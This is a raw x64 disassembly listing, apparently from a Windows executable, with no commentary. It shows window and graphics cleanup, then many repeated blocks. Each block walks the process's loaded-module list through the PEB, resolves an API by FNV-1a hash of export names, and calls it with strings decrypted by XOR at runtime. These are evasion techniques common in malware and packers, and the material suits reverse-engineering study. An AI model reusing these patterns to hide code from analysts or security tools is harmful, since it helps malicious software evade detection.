mov byte [0x1402a7921], 0
mov byte [0x1402a7922], 0
mov byte [0x1402a7923], r15b
inc esi
cmp esi, 3
jl 0x140057370
lea rcx, [rbp + 0x178]
call fcn.140042cd0
call fcn.140060570
mov ecx, 4
call fcn.14006a320
mov ecx, 3
call fcn.14006a260
call fcn.140060bb0
mov rcx, qword [0x1402a73d8]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x1402a73d8]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x1402a73d8]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x1402a73d8]
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xor r8d, r8d
movss dword [rsp + 0x28], xmm14
xor edx, edx
mov dword [rsp + 0x20], 0xff728c99
mov rax, qword [rcx]
lea r9d, [rbx + 3]
call qword [rax + 0x158]
mov rcx, qword [0x1402a73d8]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140057d54
call fcn.14006a940
call fcn.140062e50
mov rcx, rax
call fcn.140082090
mov rcx, qword [0x1402a73d8]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x1402a73d8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
movss xmm6, dword [0x1400fea44]
movabs r14, 0x7106c3fc1e0a11fc
cmp dword [rbp + 0x528], 0x12
jne 0x140054c04
call fcn.140082a10
call fcn.140082e00
xor ecx, ecx
call fcn.140060500
mov rcx, qword [0x1402a73d8]
test rcx, rcx
je 0x140057dba
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402a73d8], rbx
mov rcx, qword [0x1402a7908]
test rcx, rcx
je 0x140057dd3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402a7908], rbx
mov rcx, r12
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1c0]
mov rcx, r13
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov r15d, ebx
cmp dword [rbp + 0x1b8], 0
jne 0x14005a12f
lea rcx, [rbp + 0x6b0]
call fcn.14004a4f0
lea rcx, [rbp + 0xe80]
call fcn.1400096e0
cmp dword [rbp + 0x58], 0
jne 0x14005a12f
cmp dword [rbp + 0x68], 0
jne 0x14005a12f
cmp dword [rbp + 0x48], 0
jne 0x14005a12f
cmp dword [rbp + 0x78], 0
jne 0x14005a12f
mov eax, r15d
movaps xmm14, xmmword [rsp + 0x1d80]
movaps xmm13, xmmword [rsp + 0x1d90]
movaps xmm12, xmmword [rsp + 0x1da0]
movaps xmm11, xmmword [rsp + 0x1db0]
movaps xmm10, xmmword [rsp + 0x1dc0]
movaps xmm9, xmmword [rsp + 0x1dd0]
movaps xmm8, xmmword [rsp + 0x1de0]
movaps xmm7, xmmword [rsp + 0x1df0]
movaps xmm6, xmmword [rsp + 0x1e00]
movaps xmm15, xmmword [rsp + 0x1d70]
mov rcx, qword [rbp + 0x1c60]
xor rcx, rsp
call fcn.14009a9c0
lea r11, [rsp + 0x1e10]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140057f57
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140057f57
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140057f52
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140057f30
cmp r8d, 0x23a979e4
je 0x140057f5c
test r9d, r9d
jne 0x140057f10
mov rax, qword [rax]
jmp 0x140057ee0
mov ecx, dword [rdi + 0x24]
mov edx, 0x10
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + r8*4]
lea rcx, [rbp + 0x16e0]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140057f92
mov r8, qword [rax]
movabs rdx, 0x4d786ffc2a5211fc
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0xf50], rdx
movabs rax, 0x5168b49370617fa9
mov qword [rbp + 0xf40], rax
mov r9d, 0x1010
mov qword [rbp + 0xf58], rcx
movabs rax, 0x61c38b937c45748e
movdqa xmm1, xmmword [rbp + 0xf50]
mov qword [rbp + 0xf48], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19c0], rdx
lea rdx, [rbp + 0xf40]
mov qword [rbp + 0x19c8], rcx
xor ecx, ecx
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19b8], rax
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0xf40]
movdqa xmmword [rbp + 0xf40], xmm0
movdqa xmmword [rbp + 0xf50], xmm1
call rbx
lea rcx, [rbp + 0x16e0]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400580e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400580e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400580e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400580c0
cmp r8d, 0x23a979e4
je 0x1400580ec
test r9d, r9d
jne 0x1400580a0
mov rax, qword [rax]
jmp 0x140058070
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1700]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058121
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1120], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x1128], rax
movabs rax, 0x2f191c954e726890
mov qword [rbp + 0x1130], rax
movabs rax, 0x871572dcde7a7490
mov qword [rbp + 0x1138], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x1130]
mov qword [rbp + 0x1140], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x1148], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x1150], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x1158], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x1120]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x1120], xmm0
movdqa xmm0, xmmword [rbp + 0x1140]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x1130], xmm1
movdqa xmm1, xmmword [rbp + 0x1150]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1150], xmm1
movdqa xmmword [rbp + 0x1140], xmm0
call rbx
lea rcx, [rbp + 0x1700]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058337
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058337
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058332
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058310
cmp r8d, 0x23a979e4
je 0x14005833c
test r9d, r9d
jne 0x1400582f0
mov rax, qword [rax]
jmp 0x1400582c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1720]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058371
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x1160]
mov qword [rbp + 0x1160], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x1168], rax
movabs rax, 0x3d0d4f9245726890
mov qword [rbp + 0x1170], rax
movabs rax, 0x9a0921d0976a7098
mov qword [rbp + 0x1178], rax
movabs rax, 0xa662b49aa363638e
movdqa xmm1, xmmword [rbp + 0x1170]
mov qword [rbp + 0x1180], rax
movabs rax, 0x76d9939551237988
mov qword [rbp + 0x1188], rax
movabs rax, 0x1ece295e1076792
mov qword [rbp + 0x1190], rax
movabs rax, 0xa852f9fcca6e3f99
mov qword [rbp + 0x1198], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x1160]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x1160], xmm0
movdqa xmm0, xmmword [rbp + 0x1180]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x1170], xmm1
movdqa xmm1, xmmword [rbp + 0x1190]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1190], xmm1
movdqa xmmword [rbp + 0x1180], xmm0
call rbx
lea rcx, [rbp + 0x1720]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058587
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058587
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058582
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058560
cmp r8d, 0x23a979e4
je 0x14005858c
test r9d, r9d
jne 0x140058540
mov rax, qword [rax]
jmp 0x140058510
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1760]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400585c1
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x11a0]
mov qword [rbp + 0x11a0], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x11a8], rax
movabs rax, 0x2e1d1b994e726890
mov qword [rbp + 0x11b0], rax
movabs rax, 0x871572dcde7a7488
mov qword [rbp + 0x11b8], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x11b0]
mov qword [rbp + 0x11c0], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x11c8], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x11d0], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x11d8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x11a0]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x11a0], xmm0
movdqa xmm0, xmmword [rbp + 0x11c0]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x11b0], xmm1
movdqa xmm1, xmmword [rbp + 0x11d0]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x11d0], xmm1
movdqa xmmword [rbp + 0x11c0], xmm0
call rbx
lea rcx, [rbp + 0x1760]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400587d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400587d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400587d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400587b0
cmp r8d, 0x23a979e4
je 0x1400587dc
test r9d, r9d
jne 0x140058790
mov rax, qword [rax]
jmp 0x140058760
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1780]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058811
mov r8, qword [rax]
movabs rdx, 0x4d786ffc2a5211fc
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0xf70], rdx
movabs rax, 0x5168b49370617fa9
mov qword [rbp + 0xf60], rax
mov r9d, 0x1010
mov qword [rbp + 0xf78], rcx
movabs rax, 0x61c38b937c45748e
movdqa xmm1, xmmword [rbp + 0xf70]
mov qword [rbp + 0xf68], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19c0], rdx
lea rdx, [rbp + 0xf60]
mov qword [rbp + 0x19c8], rcx
xor ecx, ecx
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19b8], rax
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
movdqa xmmword [rbp + 0xf70], xmm1
call rbx
lea rcx, [rbp + 0x1780]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058967
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058967
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058962
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058940
cmp r8d, 0x23a979e4
je 0x14005896c
test r9d, r9d
jne 0x140058920
mov rax, qword [rax]
jmp 0x1400588f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x17a0]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400589a1
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x11e0]
mov qword [rbp + 0x11e0], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x11e8], rax
movabs rax, 0x2f191c954e726890
mov qword [rbp + 0x11f0], rax
movabs rax, 0x871572dcde7a7490
mov qword [rbp + 0x11f8], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x11f0]
mov qword [rbp + 0x1200], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x1208], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x1210], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x1218], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x11e0]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x11e0], xmm0
movdqa xmm0, xmmword [rbp + 0x1200]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x11f0], xmm1
movdqa xmm1, xmmword [rbp + 0x1210]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1210], xmm1
movdqa xmmword [rbp + 0x1200], xmm0
call rbx
lea rcx, [rbp + 0x17a0]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058bb7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058bb7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058bb2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058b90
cmp r8d, 0x23a979e4
je 0x140058bbc
test r9d, r9d
jne 0x140058b70
mov rax, qword [rax]
jmp 0x140058b40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x17c0]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058bf1
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x10a0]
mov qword [rbp + 0x10a0], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x10a8], rax
movabs rax, 0x3d0d4f9245726890
mov qword [rbp + 0x10b0], rax
movabs rax, 0x9a0921d0976a7098
mov qword [rbp + 0x10b8], rax
movabs rax, 0xa662b49aa363638e
movdqa xmm1, xmmword [rbp + 0x10b0]
mov qword [rbp + 0x10c0], rax
movabs rax, 0x76d9939551237988
mov qword [rbp + 0x10c8], rax
movabs rax, 0x1ece295e1076792
mov qword [rbp + 0x10d0], rax
movabs rax, 0xa852f9fcca6e3f99
mov qword [rbp + 0x10d8], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x10a0]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x10a0], xmm0
movdqa xmm0, xmmword [rbp + 0x10c0]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x10b0], xmm1
movdqa xmm1, xmmword [rbp + 0x10d0]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x10d0], xmm1
movdqa xmmword [rbp + 0x10c0], xmm0
call rbx
lea rcx, [rbp + 0x17c0]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140058e07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140058e07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140058e02
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140058de0
cmp r8d, 0x23a979e4
je 0x140058e0c
test r9d, r9d
jne 0x140058dc0
mov rax, qword [rax]
jmp 0x140058d90
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x14c0]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140058e41
mov r8, qword [rax]
movabs rax, 0x26fe3887f6f79bf
lea rdx, [rbp + 0x1220]
mov qword [rbp + 0x1220], rax
mov r9d, 0x1010
movabs rax, 0x70de808e7e4372dc
xor ecx, ecx
mov qword [rbp + 0x1228], rax
movabs rax, 0x2e1d1b994e726890
mov qword [rbp + 0x1230], rax
movabs rax, 0x871572dcde7a7488
mov qword [rbp + 0x1238], rax
movabs rax, 0xf230a993e53a688e
movdqa xmm1, xmmword [rbp + 0x1230]
mov qword [rbp + 0x1240], rax
movabs rax, 0x77d59e9218667494
mov qword [rbp + 0x1248], rax
movabs rax, 0x7e1e999e60c748a
mov qword [rbp + 0x1250], rax
movabs rax, 0xa852f9fcca6e11d2
mov qword [rbp + 0x1258], rax
movabs rax, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19b0], rax
movabs rax, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19b8], rax
movabs rax, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19b0]
pxor xmm0, xmmword [rbp + 0x1220]
mov qword [rbp + 0x19c0], rax
movabs rax, 0xf57a01fcf21e11fc
mov qword [rbp + 0x19c8], rax
movabs rax, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x19c0]
mov qword [rbp + 0x19d0], rax
movabs rax, 0x19bafdfc714611fc
mov qword [rbp + 0x19d8], rax
movabs rax, 0x628287fc8f6211fc
mov qword [rbp + 0x19e0], rax
movabs rax, 0xa852f9fcca6e11fc
movdqa xmmword [rbp + 0x1220], xmm0
movdqa xmm0, xmmword [rbp + 0x1240]
pxor xmm0, xmmword [rbp + 0x19d0]
movdqa xmmword [rbp + 0x1230], xmm1
movdqa xmm1, xmmword [rbp + 0x1250]
mov qword [rbp + 0x19e8], rax
pxor xmm1, xmmword [rbp + 0x19e0]
movdqa xmmword [rbp + 0x1250], xmm1
movdqa xmmword [rbp + 0x1240], xmm0
call rbx
lea rcx, [rbp + 0x14c0]
jmp 0x14005a0c9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059057
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059057
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059052
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059030
cmp r8d, 0x23a979e4
je 0x14005905c
test r9d, r9d
jne 0x140059010
mov rax, qword [rax]
jmp 0x140058fe0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x14e0]
add rbx, r10
call fcn.1400963c0
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059091
mov r8, qword [rax]
movabs rdx, 0x4d786ffc2a5211fc
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0xfb0], rdx
movabs rax, 0x5168b49370617fa9
mov qword [rbp + 0xfa0], rax
mov r9d, 0x1010
mov qword [rbp + 0xfb8], rcx
